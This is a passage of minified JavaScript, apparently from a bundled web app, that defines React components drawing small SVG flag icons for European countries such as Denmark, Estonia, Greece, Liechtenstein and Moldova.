0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#CZ_-_Czech_Republic_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0-1v7h16v-7H0Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0v12l9-6-9-6Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"CZ_-_Czech_Republic_svg__c",width:9,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12l9-6-9-6Z",clipRule:"evenodd"})))),qt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"DK_-_Denmark_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#DK_-_Denmark_svg__a)"},(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"DK_-_Denmark_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#DK_-_Denmark_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M5 0h2v5h9v2H7v5H5V7H0V5h5V0Z",clipRule:"evenodd"})))),Yt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"EE_-_Estonia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#EE_-_Estonia_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"EE_-_Estonia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#EE_-_Estonia_svg__b)"},(0,s.createElement)("path",{fill:"#40A8FF",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#272727",d:"M0 4v4h16V4H0Z"})))),Jt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"FI_-_Finland_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#FI_-_Finland_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"FI_-_Finland_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#FI_-_Finland_svg__b)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M5 0h2v5h9v2H7v5H5V7H0V5h5V0Z",clipRule:"evenodd"})))),$t=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"GR_-_Greece_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#GR_-_Greece_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#4564F9",d:"M.014 2.75h16v1.5h-16z"}),(0,s.createElement)("path",{fill:"#4564F9",fillRule:"evenodd",d:"M0 0h16v1.5H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#4564F9",d:"M-.029 5.5h16V7h-16zM.056 8.2h16v1.5h-16zM.051 10.75h16v1.5h-16z"}),(0,s.createElement)("path",{fill:"#4564F9",fillRule:"evenodd",d:"M0 0h8v7H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M3.236 0h1.582v2.75H8v1.893H4.818V7.5H3.236V4.643H0V2.75h3.236V0Z",clipRule:"evenodd"}))),Qt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"HU_-_Hungary_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#HU_-_Hungary_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"HU_-_Hungary_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#HU_-_Hungary_svg__b)"},(0,s.createElement)("path",{fill:"#F14423",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#5EAA22",d:"M0 8v4h16V8H0Z"})))),Xt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"IS_-_Iceland_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#IS_-_Iceland_svg__a)"},(0,s.createElement)("path",{fill:"#0061C1",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"IS_-_Iceland_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#IS_-_Iceland_svg__b)"},(0,s.createElement)("path",{fill:"#D21034",stroke:"#F1F9FF",d:"M5-.5h-.5v5h-5v3h5v5h3v-5h9v-3h-9v-5H5Z"})))),ea=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"IE_-_Ireland_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#IE_-_Ireland_svg__a)"},(0,s.createElement)("path",{fill:"#FF8C1A",d:"M11 0h5v12h-5V0Z"}),(0,s.createElement)("path",{fill:"#5EAA22",d:"M0 0h6v12H0V0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M5 0h6v12H5V0Z"}))),la=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"LV_-_Latvia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#LV_-_Latvia_svg__a)"},(0,s.createElement)("path",{fill:"#C51918",d:"M0 7h16v5H0V7Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 4h16v3H0V4Z"}),(0,s.createElement)("path",{fill:"#C51918",d:"M0 0h16v5H0V0Z"}))),ta=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"LI_-_Liechtenstein_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#LI_-_Liechtenstein_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"LI_-_Liechtenstein_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#LI_-_Liechtenstein_svg__b)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v6h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#000",fillRule:"evenodd",d:"M2.4 5.527s.603.375 2 .375c1.399 0 2.14-.375 2.14-.375s-1.096-.638-2.076-.638-2.065.638-2.065.638Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD83D",stroke:"#000",strokeWidth:.25,d:"m2.435 3.371-.108.063.036.062H6.69l.028-.087-.12-.038.12.038v-.002l.001-.002.003-.01a1.616 1.616 0 0 0 .041-.165c.023-.107.047-.256.054-.422.014-.324-.04-.747-.354-1.02-.296-.258-.71-.386-1.1-.451a6.302 6.302 0 0 0-1.035-.072c-.53 0-1.015.063-1.802.508a.838.838 0 0 0-.404.487 1.16 1.16 0 0 0-.02.552 2.055 2.055 0 0 0 .218.607l.006.01.001.004h.001l.108-.062Z"}),(0,s.createElement)("path",{fill:"#FFD83D",stroke:"#000",strokeWidth:.25,d:"m1.943 3.453.058.11-.058-.11h.001l.003-.002.009-.004a2.363 2.363 0 0 1 .154-.067c.106-.042.265-.097.476-.152.423-.11 1.055-.22 1.902-.22.846 0 1.478.11 1.9.22a4.222 4.222 0 0 1 .6.204l.032.015.008.004.003.001.001.001-.058.11.058-.11.097.051-.038.103-.593 1.585-.04.11-4.515-1.849Zm0 0-.096.05.037.103.576 1.585.04.11.113-.033-.67-1.815Zm4.402 1.814H2.613h.003l.007-.002.031-.009.119-.031c.103-.027.25-.062.427-.097.355-.07.826-.14 1.297-.14.47 0 .933.07 1.279.14a7.53 7.53 0 0 1 .53.128l.03.008.006.003h.002Z"}),(0,s.createElement)("mask",{id:"LI_-_Liechtenstein_svg__c",width:3,height:3,x:3.059,y:-1,fill:"#000",maskUnits:"userSpaceOnUse"},(0,s.createElement)("path",{fill:"#fff",d:"M3.059-1h3v3h-3z"}),(0,s.createElement)("path",{fillRule:"evenodd",d:"M4.563 0h-.252l.032.461L4.06.423V.74L4.348.7l-.037.726h.252L4.526.7l.29.04V.424l-.285.04L4.563 0Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#FFD83D",fillRule:"evenodd",d:"M4.563 0h-.252l.032.461L4.06.423V.74L4.348.7l-.037.726h.252L4.526.7l.29.04V.424l-.285.04L4.563 0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#000",d:"M4.31 0v-.25h-.267l.018.268.25-.018Zm.253 0 .25.017.018-.267h-.268V0Zm-.22.461L4.31.71l.304.042-.021-.307-.25.017ZM4.06.423l.033-.248L3.81.136v.287h.25Zm0 .317h-.25v.286l.284-.039L4.059.74ZM4.348.7l.25.012.015-.301-.3.041.035.248Zm-.037.726-.25-.012-.013.262h.263v-.25Zm.252 0v.25h.263l-.013-.262-.25.012ZM4.526.7 4.56.45 4.26.41l.015.302.25-.012Zm.29.04L4.78.988l.285.04V.74h-.25Zm0-.316h.25V.134L4.78.175l.035.248Zm-.285.04L4.28.446l-.02.309.305-.044-.035-.248ZM4.31.25h.252v-.5h-.252v.5Zm.282.194L4.56-.018l-.499.036.033.46.499-.034ZM4.025.67l.285.04.067-.496-.285-.04-.067.496Zm.284.07V.423h-.5V.74h.5Zm.005-.288-.29.04.069.495.289-.04-.068-.495Zm.247.987.036-.727-.499-.025-.037.727.5.025Zm.002-.263h-.252v.5h.252v-.5ZM4.276.711l.037.728.5-.025-.038-.728-.499.025ZM4.85.492l-.29-.04-.07.494.29.041.07-.495Zm-.285-.07V.74h.5V.423h-.5Zm.001.289.285-.04L4.78.174l-.285.041.071.495Zm-.252-.728-.032.463.498.035.032-.464-.498-.034Z",mask:"url(#LI_-_Liechtenstein_svg__c)"})))),aa=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"LT_-_Lithuania_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#LT_-_Lithuania_svg__a)"},(0,s.createElement)("path",{fill:"#55BA07",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"LT_-_Lithuania_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#LT_-_Lithuania_svg__b)"},(0,s.createElement)("path",{fill:"#FECA00",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#C51918",d:"M0 8v4h16V8H0Z"})))),sa=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"LU_-_Luxembourg_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#LU_-_Luxembourg_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"LU_-_Luxembourg_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#LU_-_Luxembourg_svg__b)"},(0,s.createElement)("path",{fill:"#F05234",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#2EB7EC",d:"M0 8v4h16V8H0Z"})))),na=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MK_-_North_Macedonia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#MK_-_North_Macedonia_svg__a)"},(0,s.createElement)("path",{fill:"#F50100",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"MK_-_North_Macedonia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fill:"#FFD018",mask:"url(#MK_-_North_Macedonia_svg__b)"},(0,s.createElement)("path",{fillRule:"evenodd",d:"M0-.021v2.042l7 2.976L1.628-.021H0ZM8 6l1.5-6h-3L8 6Zm0 0-1.5 6h3L8 6ZM0 9.976v2.042h1.628L7 7 0 9.976Zm16-7.943V-.009h-1.628L9 5.01l7-2.976Zm0 9.997V9.988L9 7.012l5.372 5.018H16Zm0-7.53L10 6l6 1.5v-3ZM6 6 0 4.5v3L6 6Z",clipRule:"evenodd"}),(0,s.createElement)("path",{stroke:"#F50100",d:"M8 8.5a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z"})))),ia=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 0h16v12H0z"}),(0,s.createElement)("mask",{id:"MT_-_Malta_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#MT_-_Malta_svg__a)"},(0,s.createElement)("mask",{id:"MT_-_Malta_svg__b",fill:"#fff"},(0,s.createElement)("path",{fillRule:"evenodd",d:"M5 3H3v1.496a.5.5 0 0 0-.384.487V5H1v2h1.665A.501.501 0 0 0 3 7.27V9h2V7.276A.5.5 0 0 0 5.366 7H7V5H5.416v-.017A.5.5 0 0 0 5 4.49V3Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#A0A0A0",fillRule:"evenodd",d:"M5 3H3v1.496a.5.5 0 0 0-.384.487V5H1v2h1.665A.501.501 0 0 0 3 7.27V9h2V7.276A.5.5 0 0 0 5.366 7H7V5H5.416v-.017A.5.5 0 0 0 5 4.49V3Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",d:"M3 3v-.5h-.5V3H3Zm2 0h.5v-.5H5V3ZM3 4.496l.115.487.385-.091v-.396H3Zm-.384.487h-.5v.008l.5-.008Zm0 .017v.5h.509l-.009-.508-.5.008ZM1 5v-.5H.5V5H1Zm0 2H.5v.5H1V7Zm1.665 0 .45-.218L2.98 6.5h-.314V7ZM3 7.27h.5v-.396l-.385-.091L3 7.269ZM3 9h-.5v.5H3V9Zm2 0v.5h.5V9H5Zm0-1.724-.084-.493-.416.07v.423H5ZM5.366 7v-.5h-.313l-.137.282.45.218ZM7 7v.5h.5V7H7Zm0-2h.5v-.5H7V5ZM5.416 5l-.5-.008-.009.508h.509V5Zm0-.017.5.008v-.008h-.5ZM5 4.49h-.5v.422l.416.07L5 4.49ZM3 3.5h2v-1H3v1Zm.5.996V3h-1v1.496h1Zm-.384.487-.231-.973a1 1 0 0 0-.77.973h1Zm0 .009v-.018l-1 .017v.017l1-.016ZM1 5.5h1.616v-1H1v1ZM1.5 7V5h-1v2h1Zm1.165-.5H1v1h1.665v-1Zm.45.283-.9.434c.129.267.373.468.67.539l.23-.973ZM3.5 9V7.27h-1V9h1ZM5 8.5H3v1h2v-1Zm-.5-1.224V9h1V7.276h-1Zm.584.493a1 1 0 0 0 .733-.551l-.9-.436.167.987ZM7 6.5H5.366v1H7v-1ZM6.5 5v2h1V5h-1Zm-1.084.5H7v-1H5.416v1Zm-.5-.526v.018l1 .016v-.017l-1-.017Zm0 .009h1a1 1 0 0 0-.832-.986l-.168.986ZM4.5 3v1.49h1V3h-1Z",mask:"url(#MT_-_Malta_svg__b)"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M8 0h8v12H8V0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"MT_-_Malta_svg__c",width:8,height:12,x:8,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M8 0h8v12H8V0Z",clipRule:"evenodd"})))),ca=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MD_-_Moldova_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#MD_-_Moldova_svg__a)"},(0,s.createElement)("path",{fill:"#D9071E",fillRule:"evenodd",d:"M11 0h5v12h-5V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0h6v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FBCD17",fillRule:"evenodd",d:"M5 0h6v12H5V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FD1900",fillRule:"evenodd",d:"m10.86 9.807-.527.288L8.587 6.9l.527-.287 1.745 3.194Zm-5.603.077.526.288L7.53 6.977l-.527-.288-1.745 3.195Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#A77B3B",fillRule:"evenodd",d:"M5.689 4.695V7.47c0 .617-.53 1.42-.799 1.72-.267.298-.8.983-.8.983V2.704c0-.838.8-1.125.8-1.125s.664.13.799 1.125v.97c.206.161.892.657 1.335.448.526-.249.708-.962.708-.962s-.05-.72-.265-.72c-.216 0-.233-1.015.594-1.015s.924.391.924.703c0 .163-.131.425-.256.675-.113.226-.22.442-.22.565 0 .256.193.754.476.754.198 0 1.153-.371 1.706-.593v-.825c.134-.994.798-1.125.798-1.125s.8.287.8 1.125v7.47s-.532-.686-.8-.985c-.267-.299-.798-1.102-.798-1.719V4.695H5.689Zm.886 5.221c.54-.352 1.332-1.93 1.332-1.93l.263.06s.4 1.046 1.58 1.87c-1.257.335-1.58 1.01-1.58 1.01 0-.54-1.595-1.01-1.595-1.01Zm-.087-1c.365 0 .66-.28.66-.624 0-.346-.295-.625-.66-.625-.365 0-.66.28-.66.625s.295.625.66.625Zm3.872-.624c0 .345-.295.625-.66.625-.365 0-.66-.28-.66-.625 0-.346.295-.625.66-.625.365 0 .66.28.66.625Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FDFF00",d:"m12.57 5.204.459.198-1.87 4.326-.459-.198 1.87-4.326Z"}),(0,s.createElement)("path",{fill:"#E1E5E8",fillRule:"evenodd",d:"M5.52 3.917h5.28v3.82s-1.344.404-2.64 1.068c-.957-.71-2.64-1.069-2.64-1.069v-3.82Z",clipRule:"evenodd",opacity:.3}),(0,s.createElement)("mask",{id:"MD_-_Moldova_svg__b",width:6,height:6,x:5,y:3,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M5.52 3.917h5.28v3.82s-1.344.404-2.64 1.068c-.957-.71-2.64-1.069-2.64-1.069v-3.82Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#MD_-_Moldova_svg__b)"},(0,s.createElement)("path",{fill:"#3D58DB",d:"M5.52 6.417h5.28v2.5H5.52z"}),(0,s.createElement)("path",{fill:"#FD1900",d:"M5.52 3.917h5.28v2.5H5.52z"}),(0,s.createElement)("path",{fill:"#FDFF00",fillRule:"evenodd",d:"m7.893 5.041-.4.033.231-.311-.246-.323.402.052.154-.355.172.363.4-.033-.23.311.245.322-.402-.051-.154.355-.172-.363Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FDFF00",fillRule:"evenodd",d:"M7.175 4.336S6.1 4.99 6.458 5.459c.359.47.81.53.81.53s-1.1 1.65.836 2.592c2.072-.91.982-2.592.982-2.592s.638-.141.765-.649c.128-.507-.833-1.09-.833-1.09s.6.87.463 1.09c-.137.22-.87.445-1.377.445s-1.29-.142-1.415-.527c-.127-.386.486-.922.486-.922Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#048F02",fillRule:"evenodd",d:"M2.368 5.764s.527.624 1.024.42c.496-.204.376-.934.376-.934l-.376.34h-.32v.174l-.25-.173v.173h-.454Zm.357.958s.642.56 1.075.402c.433-.158.324-.917.324-.917l-.376.341h-.32v.174l-.25-.174v.174h-.453Zm1.73 1.271c-.433.159-1.075-.401-1.075-.401h.453v-.174l.25.174v-.174h.32l.376-.341s.109.758-.324.916Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FDFF00",fillRule:"evenodd",d:"M6.99 1.124h-.5v.298h-.236v.5h.236v.872h.5v-.872h.286v-.5H6.99v-.298Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#DB4400",fillRule:"evenodd",d:"m7.58 1.692-1.159.299 1.158.366v-.665Z",clipRule:"evenodd"}))),ra=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MC_-_Monaco_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#MC_-_Monaco_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"MC_-_Monaco_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#MC_-_Monaco_svg__b)"},(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 0v6h16V0H0Z",clipRule:"evenodd"})))),ma=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"ME_-_Montenegro_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#ME_-_Montenegro_svg__a)"},(0,s.createElement)("path",{fill:"#E8AA00",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M2 2h12v8H2V2Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"ME_-_Montenegro_svg__b",width:12,height:8,x:2,y:2,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M2 2h12v8H2V2Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#ME_-_Montenegro_svg__b)"},(0,s.createElement)("path",{fill:"#1E5E91",fillRule:"evenodd",d:"M10.115 7.876c.204 0 .37-.17.37-.379a.374.374 0 0 0-.37-.378c-.204 0-.369.17-.369.378 0 .21.165.379.37.379Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F6C540",fillRule:"evenodd",d:"M5.314 6.166c-.969-1.126.42-3.08.42-3.08s.207 1.167.975 1.953c0 .055-.072.138-.146.22a1.087 1.087 0 0 0-.13.168c-.068.123.164.193.276.193.05 0 .078.073.104.14.03.08.057.15.117.061.108-.161-.108-.517-.108-.517l.342-.36.115-.233h-.115v-.24l-.081.066s-.09-.214-.261-.214c-.172 0-.225-.098-.225-.098h.225c.113 0-.018-.15-.113-.228-.042-.034-.107-.022-.165-.012-.072.014-.134.025-.134-.054 0-.088.068-.1.147-.113a.356.356 0 0 0 .152-.05c.074-.053.173-.037.28-.02.057.01.116.02.175.02h.278c.1 0-.163.163-.163.163l.163.144.242.248-.12.072.25.242s-.086.138 0 .138c.034 0 .057.029.072.062.015-.033.038-.062.073-.062.085 0 0-.138 0-.138l.25-.242-.121-.072.242-.248.163-.144s-.263-.163-.163-.163h.279c.059 0 .118-.01.174-.02.108-.017.207-.033.28.02.045.032.1.041.152.05.079.013.147.025.147.113 0 .08-.062.068-.134.054-.058-.01-.122-.022-.165.012-.094.078-.225.228-.113.228h.226s-.054.098-.226.098c-.171 0-.26.214-.26.214l-.081-.066v.24h-.116l.116.233.341.36s-.215.356-.107.517c.059.09.086.02.117-.062.025-.066.053-.14.103-.14.113 0 .345-.07.277-.192-.028-.05-.08-.109-.13-.167-.074-.083-.147-.166-.147-.221.768-.786.976-1.952.976-1.952s1.388 1.953.42 3.079c-.969 1.126-1.68.786-1.68.786s.858.799.953.799c.013 0-.017-.074-.047-.147-.029-.072-.058-.144-.045-.143.028.001.082.067.137.132.043.053.087.105.117.126.02.013.095-.014.166-.038.06-.02.115-.04.13-.033.059.03.043.09.029.148l-.01.044c-.002.012.074-.037.154-.089.085-.054.173-.112.18-.103l.004.005c.029.035.075.09-.265.352 0 .05.002.092.003.125.005.107.006.135-.067.135a.466.466 0 0 0-.13.035c-.134.047-.316.112-.448-.035-.183-.204-1.31-1.024-1.31-1.024l-.12.067s.412 1.14.633 